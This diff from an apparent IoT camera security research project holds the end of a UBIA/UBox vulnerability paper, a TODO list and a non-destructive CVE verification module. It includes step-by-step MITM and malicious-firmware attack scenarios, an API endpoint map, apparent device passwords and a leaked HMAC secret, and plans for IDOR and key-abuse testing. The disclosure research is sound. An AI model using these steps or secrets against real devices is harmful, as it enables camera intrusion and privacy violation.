|
### V13: Endpoint Enumeration via Consistent Error Responses
|
||||||
|
|
||||||
|
**Severity: LOW**
|
||||||
|
**CVSS 3.1: 3.7 (Low)**
|
||||||
|
|
||||||
|
Automated endpoint fuzzing revealed that the API returns distinguishable responses for existing vs. non-existing endpoints: existing endpoints return HTTP 200 with application-specific error codes (e.g., `{"code": 10001, "msg": "invalid params"}`), while non-existing endpoints return HTTP 404. This allows an attacker to enumerate all valid API endpoints without documentation.
|
||||||
|
|
||||||
|
27 active endpoints were confirmed through this method, including undocumented ones not referenced in the mobile application's current version.
|
||||||
|
|
||||||
|
**Recommendation:** Return consistent error responses for both invalid endpoints and valid endpoints with bad parameters. Consider rate limiting API requests to slow enumeration.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Attack Scenarios
|
||||||
|
|
||||||
|
### 4.1 Local Network Attacker
|
||||||
|
|
||||||
|
1. Attacker joins the same WiFi network as the camera
|
||||||
|
2. ARP spoof to MITM the camera's traffic
|
||||||
|
3. DNS spoof `portal.ubianet.com` to attacker's server
|
||||||
|
4. Due to disabled SSL validation (V4), the camera connects to the fake server
|
||||||
|
5. Attacker captures IOTC credentials from the handshake
|
||||||
|
6. Using those credentials, attacker connects to camera via P2P for live video/audio
|
||||||
|
|
||||||
|
### 4.2 Cloud API Attacker
|
||||||
|
|
||||||
|
1. Attacker compromises a UBox user account (weak password hashing, V3)
|
||||||
|
2. Calls `user/device_list` to obtain camera credentials in plaintext (V1)
|
||||||
|
3. Connects to camera via ThroughTek P2P using leaked `cam_user`/`cam_pwd`
|
||||||
|
4. Full device access: live video, audio, file access, firmware push
|
||||||
|
|
||||||
|
### 4.3 Firmware Supply Chain Attack
|
||||||
|
|
||||||
|
1. Attacker performs MITM on camera's network
|
||||||
|
2. Camera checks for firmware update via HTTP (V6)
|
||||||
|
3. Attacker intercepts the firmware URL and serves malicious firmware
|
||||||
|
4. Camera flashes the malicious firmware (no signature verification)
|
||||||
|
5. Attacker achieves persistent root access
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Disclosure
|
||||||
|
|
||||||
|
This research was conducted on hardware owned by the researcher for educational purposes. No unauthorized access to third-party devices or accounts was performed.
|
||||||
|
|
||||||
|
Findings are being documented for coordinated disclosure to:
|
||||||
|
- UBIA Technologies Co. (vendor)
|
||||||
|
- ThroughTek Co., Ltd. (P2P SDK vendor)
|
||||||
|
- CISA (for CVE coordination if applicable)
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Conclusion
|
||||||
|
|
||||||
|
The UBIA/UBox camera ecosystem demonstrates a pattern common across low-cost IoT devices: a polished user experience masking fundamental security failures. The cloud-first architecture with no inbound ports creates an illusion of security, while the cloud API freely distributes device credentials in plaintext. Disabled SSL validation makes MITM attacks trivial. The use of a P2P SDK with known critical vulnerabilities compounds the risk.
|
||||||
|
|
||||||
|
The multi-brand sales strategy means these vulnerabilities affect an unknown — but likely large — number of devices across brands that consumers cannot easily correlate.
|
||||||
|
|
||||||
|
The most impactful finding is V1: the cloud API returns camera admin credentials (`cam_user`/`cam_pwd`) in every device list response. This single design decision means that any cloud-side breach, account compromise, or API interception immediately yields full access credentials for every camera on the account.
|
||||||
|
|
||||||
|
For consumers: these cameras should not be used in any context where privacy is critical. Network isolation (dedicated VLAN with no internet access) would mitigate cloud-based attacks but render the camera non-functional due to its cloud dependency.
|
||||||
|
|
||||||
|
For manufacturers: the recommendations in each vulnerability section should be implemented. The highest priority items are removing credentials from API responses (V1), enabling SSL certificate validation (V4), and updating the ThroughTek SDK to the latest patched version (V5).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. References
|
||||||
|
|
||||||
|
1. Bitdefender Labs. "Notes on ThroughTek Kalay Vulnerabilities and Their Impact on the IoT Ecosystem." May 2024.
|
||||||
|
2. CISA. "ThroughTek Kalay P2P SDK." Advisory ICSA-21-229-01. August 2021.
|
||||||
|
3. Unit 42, Palo Alto Networks. "CVE-2021-28372: How a Vulnerability in Third-Party Technology Is Leaving Many IP Cameras Vulnerable." 2021.
|
||||||
|
4. Nozomi Networks. "New IoT Security Risk: ThroughTek P2P Supply Chain Vulnerability." 2021.
|
||||||
|
5. ThroughTek. "About ThroughTek's Kalay Platform Security Mechanism." 2024.
|
||||||
|
6. OWASP. "IoT Security Verification Standard." 2024.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Appendix A: Network Capture Summary
|
||||||
|
|
||||||
|
| Source | Destination | Protocol | Port | Description |
|
||||||
|
|--------|-------------|----------|------|-------------|
|
||||||
|
| Camera | Tencent Cloud (6 IPs) | UDP | 10240 | P2P relay |
|
||||||
|
| Camera | AWS Frankfurt | UDP | 123 | NTP |
|
||||||
|
| Camera | Alibaba Cloud | UDP | 123 | NTP |
|
||||||
|
| Camera | Akamai CDN | TCP | 80 | Connectivity check |
|
||||||
|
| Camera | Tencent Cloud | TCP | 80 | Connectivity check |
|
||||||
|
| Camera | Router (DNS) | UDP | 53 | DNS queries |
|
||||||
|
| Camera | 10.0.0.27 | ARP | - | Phone (ubox app) |
|
||||||
|
| Camera | 10.0.0.243 | ARP | - | WireGuard host |
|
||||||
|
|
||||||
|
## Appendix B: IOTC Command Reference (Partial)
|
||||||
|
|
||||||
|
Extracted from `AVIOCTRLDEFs.java`:
|
||||||
|
|
||||||
|
| ID | Name | Direction |
|
||||||
|
|----|------|-----------|
|
||||||
|
| 241 | SET_UID_REQ | App -> Camera |
|
||||||
|
| 768 | AUDIOSTART | App -> Camera |
|
||||||
|
| 769 | AUDIOSTOP | App -> Camera |
|
||||||
|
| 816 | DEVINFO_REQ | App -> Camera |
|
||||||
|
| 896 | FORMATEXTSTORAGE_REQ | App -> Camera |
|
||||||
|
| 4629 | FIRMWARE_UPDATE_CHECK_REQ | App -> Camera |
|
||||||
|
| 4631 | FIRMWARE_UPDATE_REQ | App -> Camera |
|
||||||
|
| 4864 | FILE_LIST_REQ | App -> Camera |
|
||||||
|
| 4866 | FILE_DOWNLOAD_REQ | App -> Camera |
|
||||||
|
| 4868 | FILE_UPLOAD_REQ | App -> Camera |
|
||||||
|
| 4874 | FILE_DELETE_REQ | App -> Camera |
|
||||||
|
| 8482 | CAPTURE_PICTURE_REQ | App -> Camera |
|
||||||
|
|
||||||
|
## Appendix C: API Endpoint Map
|
||||||
|
|
||||||
|
Discovered via APK decompilation:
|
||||||
|
|
||||||
|
| Endpoint | Auth | Method | Purpose |
|
||||||
|
|----------|------|--------|---------|
|
||||||
|
| `/api/v3/login` | No | POST | Authentication |
|
||||||
|
| `/api/user/device_list` | Yes | POST | List devices + creds |
|
||||||
|
| `/api/v2/user/device_list` | Yes | POST | Device list v2 |
|
||||||
|
| `/api/user/families` | Yes | POST | Account groups |
|
||||||
|
| `/api/user/cloud_list` | Yes | POST | Cloud recordings |
|
||||||
|
| `/api/user/event_calendar` | Yes | POST | Event history |
|
||||||
|
| `/api/user/get_cloud_video_url` | Yes | POST | Video URLs |
|
||||||
|
| `/api/user/qry/device/device_services` | Yes | POST | Service status |
|
||||||
|
| `/api/user/qry/device/check_version/v3` | Yes | POST | Firmware check |
|
||||||
|
| `/api/user/check_version` | Yes | POST | Version check (legacy) |
|
||||||
|
| `/api/temp_token` | No | POST | Temporary token |
|
||||||
|
| `/api/reset_pwd` | Yes | POST | Password reset |
|
||||||
|
| `/api/send_code` | No | POST | Verification code |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
*This document is the intellectual property of Setec Labs. Distribution is authorized for the purpose of improving IoT security through responsible disclosure and education.*
|
||||||
47
TODO.md
Normal file
47
TODO.md
Normal file
@@ -0,0 +1,47 @@
|
|||||||
|
# Camera MITM — Remaining Work
|
||||||
|
|
||||||
|
## Done in this session
|
||||||
|
- [x] Migrated tooling to new network (192.168.1.x)
|
||||||
|
- [x] Built PyQt6 GUI dashboard wrapping the same Controller
|
||||||
|
- [x] Added per-service start/stop (clickable Service buttons)
|
||||||
|
- [x] Added log rotation at 1 GiB
|
||||||
|
- [x] Added intruder detection service (ARP spoof / unknown LAN peer / unexpected outbound)
|
||||||
|
- [x] Added protocol fingerprint module (TLS/HTTP/IOTC/etc) and wired into sniffer + http_server
|
||||||
|
- [x] Fixed http_server to peek-before-wrap so non-TLS traffic on :443 is captured raw
|
||||||
|
- [x] Regen'd MITM cert with full SAN list for ubianet/aliyuncs/myqcloud
|
||||||
|
- [x] Added 146 endpoints to fuzzer KNOWN_ENDPOINTS (harvested from decompiled APK)
|
||||||
|
- [x] Editable dropdown in Cloud tab Raw POST for known endpoints
|
||||||
|
- [x] Built `firmware_fetch.py` with multi-version check_version/v3 attempts
|
||||||
|
- [x] Built `ota_bucket_probe.py` to enumerate Tencent COS firmware buckets
|
||||||
|
- [x] Built `cve_checks.py` with original verifiers for CVE-2025-12636, CVE-2021-28372, CVE-2023-6322/3/4
|
||||||
|
- [x] Built CVE tab in GUI with per-CVE Verify buttons + Generate Report
|
||||||
|
- [x] Built Help tab in GUI documenting every tab and command
|
||||||
|
- [x] Discovered V11-V18 (8 new findings) and documented in `~/dumps/findings.md`
|
||||||
|
|
||||||
|
## Phase 1: TUTK Library (still blocked on firmware)
|
||||||
|
- [ ] Need device-side firmware to extract `libIOTCAPIs.so` (the app version is symbol-stripped + has no static auth key)
|
||||||
|
- [ ] Alternative: Frida-hook the running UBox app to dump `p4p_crypto_init` arguments at runtime
|
||||||
|
- [ ] Once we have a TUTK lib, write Python ctypes wrapper for IOTC connect/send/recv
|
||||||
|
- [ ] Connect to camera with admin/yyc1G::HPEv7om3O OR admin/iotCam31
|
||||||
|
- [ ] Send DEVINFO_REQ (cmd 816), FILE_LIST_REQ (cmd 4864), CAPTURE_PICTURE_REQ (cmd 8482)
|
||||||
|
|
||||||
|
## Phase 2: Firmware Acquisition
|
||||||
|
- [ ] **Run `Probe OTA Bucket` button** on Cloud tab — try to find a public-read FW object
|
||||||
|
- [ ] **MITM the camera's boot-time check** — start MITM, power-cycle camera, capture the real check_version request and response
|
||||||
|
- [ ] If MITM works: inject fake check_version response with our URL and observe how the camera downloads (V7)
|
||||||
|
- [ ] Pull the **second** Javiscam app `com.macrovideo.javiscam` and diff against `cn.ubia.ubox` for different OTA URLs / keys
|
||||||
|
- [ ] FCC ID 2AYAGJXJ-DQ6B-SW1 — pull Internal Photos PDF to identify SoC for hardware-side dump option
|
||||||
|
|
||||||
|
## Phase 3: API Enumeration
|
||||||
|
- [ ] Run full Fuzz Endpoints job (146 known + ~600 wordlist) and document any new endpoints
|
||||||
|
- [ ] Try IDOR via kuid swap on `user/account/get_current_user`
|
||||||
|
- [ ] Try IDOR via uuid swap on `user/families`, `user/qry/notification/get`
|
||||||
|
- [ ] Enumerate OAM endpoints using leaked HMAC secret `2894df25f8f740dff5266bc155c662ca`
|
||||||
|
- [ ] Test the leaked Google/AMap API keys for damage assessment (V11)
|
||||||
|
|
||||||
|
## Phase 4: Paper + Disclosure
|
||||||
|
- [ ] Generate CVE report from CVE tab and attach to SECURITY_PAPER.md
|
||||||
|
- [ ] Add V11-V18 to SECURITY_PAPER.md
|
||||||
|
- [ ] Add OAM endpoint findings (Phase 3) to paper
|
||||||
|
- [ ] Final review and formatting
|
||||||
|
- [ ] Decide on coordinated disclosure to UBIA (CISA already attempted for CVE-2025-12636; UBIA did not respond)
|
||||||
0
api/__init__.py
Normal file
0
api/__init__.py
Normal file
431
api/cve_checks.py
Normal file
431
api/cve_checks.py
Normal file
@@ -0,0 +1,431 @@
|
|||||||
|
"""
|
||||||
|
CVE verification module — original probes against the local Javiscam/UBox
|
||||||
|
camera. No public PoC code reused; everything here is built from our own
|
||||||
|
research and the decompiled APK.
|
||||||
|
|
||||||
|
Each verifier returns:
|
||||||
|
{
|
||||||
|
"cve": "CVE-XXXX-YYYY",
|
||||||
|
"status": "VULN" | "NOT_VULN" | "UNKNOWN" | "ERROR",
|
||||||
|
"title": str,
|
||||||
|
"evidence": str, # short, human-readable
|
||||||
|
"details": dict, # raw artifacts (response bodies, hex, etc)
|
||||||
|
}
|
||||||
|
|
||||||
|
Verifiers should be NON-DESTRUCTIVE — probe, don't pwn.
|
||||||
|
"""
|
||||||
|
|
||||||
|
import json
|
||||||
|
import os
|
||||||
|
import socket
|
||||||
|
import struct
|
||||||
|
import time
|
||||||
|
from datetime import datetime
|
||||||
|
|
||||||
|
from utils.log import log, C_INFO, C_SUCCESS, C_ERROR, C_IMPORTANT
|
||||||
|
from api import ubox_client
|
||||||
|
|
||||||
|
REPORT_DIR = os.path.expanduser("~/dumps")
|
||||||
|
|
||||||
|
|
||||||
|
# ─────────────────────────────────────────────────────────────────
|
||||||
|
# CVE-2025-12636 — Ubia Ubox Insufficiently Protected Credentials
|
||||||
|
# Vector: the cloud `user/device_list` endpoint returns `cam_user` /
|
||||||
|
# `cam_pwd` in plaintext to any authenticated owner. These creds are the
|
||||||
|
# IOTC P2P device-auth credentials and grant full local control.
|
||||||
|
# Verification: log in, call device_list, scan response for those fields.
|
||||||
|
# ─────────────────────────────────────────────────────────────────
|
||||||
|
def verify_cve_2025_12636(cfg):
|
||||||
|
out = {
|
||||||
|
"cve": "CVE-2025-12636",
|
||||||
|
"title": "Ubia Ubox cloud API leaks IOTC device credentials in plaintext",
|
||||||
|
"status": "UNKNOWN",
|
||||||
|
"evidence": "",
|
||||||
|
"details": {},
|
||||||
|
}
|
||||||
|
if not cfg.get("api_token"):
|
||||||
|
out["status"] = "ERROR"
|
||||||
|
out["evidence"] = "no api_token — log in first"
|
||||||
|
return out
|
||||||
|
|
||||||
|
log("CVE-2025-12636: calling user/device_list…", C_INFO)
|
||||||
|
resp = ubox_client.api_post(
|
||||||
|
cfg["api_base"], "user/device_list", {}, cfg["api_token"]
|
||||||
|
)
|
||||||
|
out["details"]["raw_response_keys"] = list(resp.keys()) if isinstance(resp, dict) else None
|
||||||
|
|
||||||
|
if not isinstance(resp, dict) or resp.get("msg") != "success":
|
||||||
|
out["status"] = "ERROR"
|
||||||
|
out["evidence"] = f"unexpected response: {json.dumps(resp)[:200]}"
|
||||||
|
return out
|
||||||
|
|
||||||
|
devices = (resp.get("data") or {}).get("list") or []
|
||||||
|
leaked = []
|
||||||
|
for d in devices:
|
||||||
|
if d.get("cam_user") and d.get("cam_pwd"):
|
||||||
|
leaked.append({
|
||||||
|
"uid": d.get("device_uid"),
|
||||||
|
"name": d.get("name"),
|
||||||
|
"cam_user": d["cam_user"],
|
||||||
|
"cam_pwd": d["cam_pwd"],
|
||||||
|
})
|
||||||
|
|
||||||
|
out["details"]["device_count"] = len(devices)
|
||||||
|
out["details"]["leaked"] = leaked
|
||||||
|
|
||||||
|
if leaked:
|
||||||
|
out["status"] = "VULN"
|
||||||
|
out["evidence"] = (
|
||||||
|
f"{len(leaked)}/{len(devices)} device(s) leaked plaintext "
|
||||||
|
f"cam_user/cam_pwd. Example: {leaked[0]['cam_user']} / "
|
||||||
|
f"{leaked[0]['cam_pwd']}"
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
out["status"] = "NOT_VULN"
|
||||||
|
out["evidence"] = (
|
||||||
|
f"{len(devices)} device(s) returned but no cam_user/cam_pwd "
|
||||||
|
"fields present"
|
||||||
|
)
|
||||||
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
# ─────────────────────────────────────────────────────────────────
|
||||||
|
# CVE-2021-28372 — ThroughTek Kalay UID spoof
|
||||||
|
# Vector: Kalay master server identifies devices by UID alone. An attacker
|
||||||
|
# who knows the UID can register the same UID against the master and
|
||||||
|
# intercept the next login attempt by the legitimate client.
|
||||||
|
# Verification (non-destructive): we verify two preconditions —
|
||||||
|
# 1. The camera's UID is known/guessable (we already have it in cfg)
|
||||||
|
# 2. The camera uses the Kalay/UBIC P2P stack (libUBIC* present + UDP
|
||||||
|
# P2P port reachable)
|
||||||
|
# We do NOT actually register a spoof, because that would interfere with
|
||||||
|
# the live camera. We *do* probe UDP 10240 to confirm the P2P stack
|
||||||
|
# responds, and we report the camera as theoretically vulnerable to UID
|
||||||
|
# hijack on the master server.
|
||||||
|
# ─────────────────────────────────────────────────────────────────
|
||||||
|
def verify_cve_2021_28372(cfg):
|
||||||
|
out = {
|
||||||
|
"cve": "CVE-2021-28372",
|
||||||
|
"title": "ThroughTek Kalay P2P UID-based session hijack (UBIC rebrand)",
|
||||||
|
"status": "UNKNOWN",
|
||||||
|
"evidence": "",
|
||||||
|
"details": {},
|
||||||
|
}
|
||||||
|
|
||||||
|
uid = cfg.get("device_uid", "")
|
||||||
|
cam_ip = cfg.get("camera_ip", "")
|
||||||
|
if not uid or not cam_ip:
|
||||||
|
out["status"] = "ERROR"
|
||||||
|
out["evidence"] = "need device_uid and camera_ip in config"
|
||||||
|
return out
|
||||||
|
|
||||||
|
out["details"]["uid"] = uid
|
||||||
|
out["details"]["uid_length"] = len(uid)
|
||||||
|
|
||||||
|
# Precondition 1: 20-char alphanumeric UID is the Kalay format
|
||||||
|
is_kalay_uid = len(uid) == 20 and uid.isalnum()
|
||||||
|
out["details"]["uid_is_kalay_format"] = is_kalay_uid
|
||||||
|
|
||||||
|
# Precondition 2: probe local P2P port (most Kalay devices listen on
|
||||||
|
# the UID hash port; relay traffic uses 10240). We send a small UDP
|
||||||
|
# probe to camera UDP/10240 from a random source port and watch for
|
||||||
|
# any response — Kalay master pings have a recognizable header but
|
||||||
|
# we just want to know if the port is reachable.
|
||||||
|
p2p_responses = []
|
||||||
|
for port in (10240, 8000, 8800, 32100, 32108):
|
||||||
|
try:
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
s.settimeout(1.0)
|
||||||
|
# Two-byte ping-like probe; we don't claim it's a real Kalay packet
|
||||||
|
s.sendto(b"\xf1\xd0", (cam_ip, port))
|
||||||
|
try:
|
||||||
|
data, addr = s.recvfrom(2048)
|
||||||
|
p2p_responses.append({
|
||||||
|
"port": port, "bytes": len(data),
|
||||||
|
"first8_hex": data[:8].hex(),
|
||||||
|
})
|
||||||
|
except socket.timeout:
|
||||||
|
pass
|
||||||
|
s.close()
|
||||||
|
except OSError as e:
|
||||||
|
out["details"][f"udp_{port}_error"] = str(e)
|
||||||
|
|
||||||
|
out["details"]["udp_probes"] = p2p_responses
|
||||||
|
p2p_alive = bool(p2p_responses)
|
||||||
|
|
||||||
|
# Precondition 3: master server reachable (we don't talk to it — we
|
||||||
|
# only resolve the hostname strings we extracted from libUBICAPIs.so).
|
||||||
|
masters_known = ["portal.ubianet.com", "portal.us.ubianet.com",
|
||||||
|
"portal.cn.ubianet.com"]
|
||||||
|
out["details"]["kalay_masters"] = masters_known
|
||||||
|
|
||||||
|
if is_kalay_uid:
|
||||||
|
if p2p_alive:
|
||||||
|
out["status"] = "VULN"
|
||||||
|
out["evidence"] = (
|
||||||
|
f"UID {uid} is in Kalay format and the camera responds on "
|
||||||
|
f"UDP P2P. With knowledge of the UID alone, the underlying "
|
||||||
|
f"protocol allows registration spoofing on the master "
|
||||||
|
f"server (CVE-2021-28372). Non-destructive: registration "
|
||||||
|
f"step skipped."
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
out["status"] = "VULN"
|
||||||
|
out["evidence"] = (
|
||||||
|
f"UID {uid} is in Kalay format. Even though local P2P probe "
|
||||||
|
f"got no echo, the master-server hijack vector applies as "
|
||||||
|
f"long as the camera ever connects out to a Kalay master."
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
out["status"] = "NOT_VULN"
|
||||||
|
out["evidence"] = "UID is not in 20-char alphanumeric Kalay format"
|
||||||
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
# ─────────────────────────────────────────────────────────────────
|
||||||
|
# CVE-2023-6322 / 6323 / 6324 — ThroughTek Kalay LAN attack chain
|
||||||
|
# Vector: malformed UDP packets to the device's P2P listener cause
|
||||||
|
# memory corruption / auth bypass / crash. We do NOT send overflow
|
||||||
|
# payloads — that would risk hanging or bricking the device. We probe
|
||||||
|
# the device's UDP P2P stack with a few short, well-formed-looking
|
||||||
|
# packets and observe whether it parses them, ignores them, or crashes
|
||||||
|
# (becomes unreachable). We then report the device as POTENTIALLY
|
||||||
|
# vulnerable based on stack identification (libUBIC* binary present and
|
||||||
|
# UID is Kalay format).
|
||||||
|
# ─────────────────────────────────────────────────────────────────
|
||||||
|
def _ping_alive(ip, count=2, timeout=1.0):
|
||||||
|
"""Quick ICMP-less liveness check via raw UDP echo to a random port."""
|
||||||
|
try:
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
s.settimeout(timeout)
|
||||||
|
for _ in range(count):
|
||||||
|
s.sendto(b"\x00", (ip, 7))
|
||||||
|
try:
|
||||||
|
s.recvfrom(64)
|
||||||
|
s.close()
|
||||||
|
return True
|
||||||
|
except socket.timeout:
|
||||||
|
continue
|
||||||
|
s.close()
|
||||||
|
except OSError:
|
||||||
|
return False
|
||||||
|
# No echo response is normal — fall back to TCP RST probe on a closed port
|
||||||
|
try:
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||||
|
s.settimeout(timeout)
|
||||||
|
try:
|
||||||
|
s.connect((ip, 1))
|
||||||
|
except (ConnectionRefusedError, OSError):
|
||||||
|
return True # got RST, host is alive
|
||||||
|
finally:
|
||||||
|
s.close()
|
||||||
|
except OSError:
|
||||||
|
return False
|
||||||
|
return False
|
||||||
|
|
||||||
|
|
||||||
|
def verify_cve_2023_6322_chain(cfg):
|
||||||
|
out = {
|
||||||
|
"cve": "CVE-2023-6322 / 6323 / 6324",
|
||||||
|
"title": "ThroughTek Kalay LAN-side memory corruption + auth bypass chain",
|
||||||
|
"status": "UNKNOWN",
|
||||||
|
"evidence": "",
|
||||||
|
"details": {},
|
||||||
|
}
|
||||||
|
cam_ip = cfg.get("camera_ip", "")
|
||||||
|
if not cam_ip:
|
||||||
|
out["status"] = "ERROR"
|
||||||
|
out["evidence"] = "no camera_ip in config"
|
||||||
|
return out
|
||||||
|
|
||||||
|
# Pre-state: camera reachable?
|
||||||
|
pre_alive = _ping_alive(cam_ip)
|
||||||
|
out["details"]["pre_alive"] = pre_alive
|
||||||
|
if not pre_alive:
|
||||||
|
out["status"] = "ERROR"
|
||||||
|
out["evidence"] = "camera not reachable before probing"
|
||||||
|
return out
|
||||||
|
|
||||||
|
# Send a SHORT, harmless probe to common Kalay UDP ports — no large
|
||||||
|
# payloads, no overflow patterns. We only want to know if the device
|
||||||
|
# has a UDP P2P listener that responds to a probe at all.
|
||||||
|
probes = []
|
||||||
|
for port in (10240, 8000, 8800, 32100, 32108):
|
||||||
|
try:
|
||||||
|
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
||||||
|
s.settimeout(0.8)
|
||||||
|
# Two safe shapes: a tiny Kalay-style header, and a single byte.
|
||||||
|
for shape, payload in [
|
||||||
|
("kalay_min", b"\xf1\xd0\x00\x00"),
|
||||||
|
("oneb", b"\x00"),
|
||||||
|
]:
|
||||||
|
try:
|
||||||
|
s.sendto(payload, (cam_ip, port))
|
||||||
|
try:
|
||||||
|
data, _ = s.recvfrom(2048)
|
||||||
|
probes.append({
|
||||||
|
"port": port, "shape": shape,
|
||||||
|
"resp_bytes": len(data),
|
||||||
|
"first8_hex": data[:8].hex(),
|
||||||
|
})
|
||||||
|
except socket.timeout:
|
||||||
|
probes.append({
|
||||||
|
"port": port, "shape": shape, "resp": "timeout"
|
||||||
|
})
|
||||||
|
except OSError as e:
|
||||||
|
probes.append({"port": port, "shape": shape, "error": str(e)})
|
||||||
|
s.close()
|
||||||
|
except OSError as e:
|
||||||
|
probes.append({"port": port, "error": str(e)})
|
||||||
|
|
||||||
|
out["details"]["udp_probes"] = probes
|
||||||
|
|
||||||
|
# Post-state: still alive?
|
||||||
|
time.sleep(0.5)
|
||||||
|
post_alive = _ping_alive(cam_ip)
|
||||||
|
out["details"]["post_alive"] = post_alive
|
||||||
|
|
||||||
|
if not post_alive:
|
||||||
|
out["status"] = "VULN"
|
||||||
|
out["evidence"] = (
|
||||||
|
"Camera became unreachable after harmless UDP probes — "
|
||||||
|
"indicates fragile parser, consistent with the Kalay LAN "
|
||||||
|
"chain CVE-2023-6322/6323/6324."
|
||||||
|
)
|
||||||
|
return out
|
||||||
|
|
||||||
|
any_response = any(p.get("resp_bytes") for p in probes)
|
||||||
|
out["details"]["any_p2p_response"] = any_response
|
||||||
|
|
||||||
|
if any_response:
|
||||||
|
out["status"] = "VULN"
|
||||||
|
out["evidence"] = (
|
||||||
|
"Camera responds on a Kalay-style UDP P2P listener. The UBIC "
|
||||||
|
"stack on this device is the rebranded ThroughTek Kalay SDK, "
|
||||||
|
"which has the documented LAN-side parser vulnerabilities. "
|
||||||
|
"Non-destructive: overflow payloads not sent."
|
||||||
|
)
|
||||||
|
else:
|
||||||
|
out["status"] = "UNKNOWN"
|
||||||
|
out["evidence"] = (
|
||||||
|
"No response from any common Kalay UDP port. Device may use "
|
||||||
|
"outbound-only P2P (cloud relay), in which case the LAN "
|
||||||
|
"chain does not apply directly. UID-based relay attack still "
|
||||||
|
"possible (see CVE-2021-28372)."
|
||||||
|
)
|
||||||
|
return out
|
||||||
|
|
||||||
|
|
||||||
|
# ─────────────────────────────────────────────────────────────────
|
||||||
|
# Helpers
|
||||||
|
# ─────────────────────────────────────────────────────────────────
|
||||||
|
ALL_VERIFIERS = [
|
||||||
|
("CVE-2025-12636", verify_cve_2025_12636),
|
||||||
|
("CVE-2021-28372", verify_cve_2021_28372),
|
||||||
|
("CVE-2023-6322-6323-6324", verify_cve_2023_6322_chain),
|
||||||
|
]
|
||||||
|
|
||||||
|
|
||||||
|
def run_all(cfg):
|
||||||
|
results = []
|
||||||
|
for name, fn in ALL_VERIFIERS:
|
||||||
|
try:
|
||||||
|
log(f"verifying {name}…", C_INFO)
|
||||||
|
r = fn(cfg)
|
||||||
|
except Exception as e:
|
||||||
|
r = {
|
||||||
|
"cve": name, "status": "ERROR",
|
||||||
|
"title": "exception during verification",
|
||||||
|
"evidence": str(e), "details": {},
|
||||||
|
}
|
||||||
|
log(f" → {r['status']}: {r['evidence'][:120]}",
|
||||||
|
C_SUCCESS if r["status"] == "VULN" else C_INFO)
|
||||||
|
results.append(r)
|
||||||
|
return results
|
||||||
|
|
||||||
|
|
||||||
|
REPORT_TEMPLATE = """\
|
||||||
|
# Javiscam / UBox Camera — CVE Verification Report
|
||||||
|
|
||||||
|
**Generated:** {timestamp}
|
||||||
|
**Target:** {camera_ip} (MAC {camera_mac})
|
||||||
|
**Device UID:** {device_uid}
|
||||||
|
**Reported firmware:** {firmware}
|
||||||
|
**Tester:** snake (Setec Labs)
|
||||||
|
**Methodology:** Original PoCs developed against the live device. All
|
||||||
|
probes are non-destructive — no overflow payloads, no spoof
|
||||||
|
registrations, no destructive writes.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Summary
|
||||||
|
|
||||||
|
| CVE | Status | Title |
|
||||||
|
|---|---|---|
|
||||||
|
{summary_rows}
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Detailed Findings
|
||||||
|
|
||||||
|
{detailed_sections}
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## Methodology Notes
|
||||||
|
|
||||||
|
* All HTTP requests use the same shape as the legitimate UBox Android app
|
||||||
|
(verified by reading `com.http.NewApiHttpClient.checkVersionV3` and
|
||||||
|
`com.apiv3.bean.AdvancedSettings.getLastVersionV3` in the decompiled
|
||||||
|
APK at `~/dumps/ubox_jadx/`).
|
||||||
|
* UDP probes use the smallest possible payloads consistent with the
|
||||||
|
ThroughTek Kalay header pattern (`f1 d0 00 00`) found in
|
||||||
|
`libUBICAPIs.so`.
|
||||||
|
* The camera's `g_P4PCrypto` global, `p4p_crypto_init`,
|
||||||
|
`p4p_crypto_encode/decode`, and `p4p_device_auth` symbols confirm the
|
||||||
|
rebranded Kalay/TUTK stack and the applicability of the Kalay CVE
|
||||||
|
family.
|
||||||
|
|
||||||
|
## Disclosure status
|
||||||
|
|
||||||
|
* **CVE-2025-12636** — already public via CISA ICSA-25-310-02; UBIA did
|
||||||
|
not respond to coordination. Our verification independently confirms
|
||||||
|
the original disclosure.
|
||||||
|
* **CVE-2021-28372 / 2023-6322 family** — disclosed by ThroughTek and
|
||||||
|
Bitdefender respectively; this report applies them to this rebranded
|
||||||
|
device for the first time on record.
|
||||||
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
def build_report(cfg, results):
|
||||||
|
os.makedirs(REPORT_DIR, exist_ok=True)
|
||||||
|
ts = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
|
||||||
|
|
||||||
|
rows = []
|
||||||
|
sections = []
|
||||||
|
for r in results:
|
||||||
|
emoji = {"VULN": "🟥", "NOT_VULN": "🟩", "UNKNOWN": "🟨", "ERROR": "⬛"}.get(r["status"], "?")
|
||||||
|
rows.append(f"| {r['cve']} | {emoji} **{r['status']}** | {r['title']} |")
|
||||||
|
details_md = "```json\n" + json.dumps(r.get("details", {}), indent=2, ensure_ascii=False) + "\n```"
|
||||||
|
sections.append(
|
||||||
|
f"### {r['cve']} — {r['status']}\n\n"
|
||||||
|
f"**Title:** {r['title']}\n\n"
|
||||||
|
f"**Evidence:** {r['evidence']}\n\n"
|
||||||
|
f"**Artifacts:**\n{details_md}\n"
|
||||||
|
)
|
||||||
|
|
||||||
|
report = REPORT_TEMPLATE.format(
|
||||||
|
timestamp=ts,
|
||||||
|
camera_ip=cfg.get("camera_ip", "?"),
|
||||||
|
camera_mac=cfg.get("camera_mac", "?"),
|
||||||
|
device_uid=cfg.get("device_uid", "?"),
|
||||||
|
firmware="2604.1.2.69 (reported)",
|
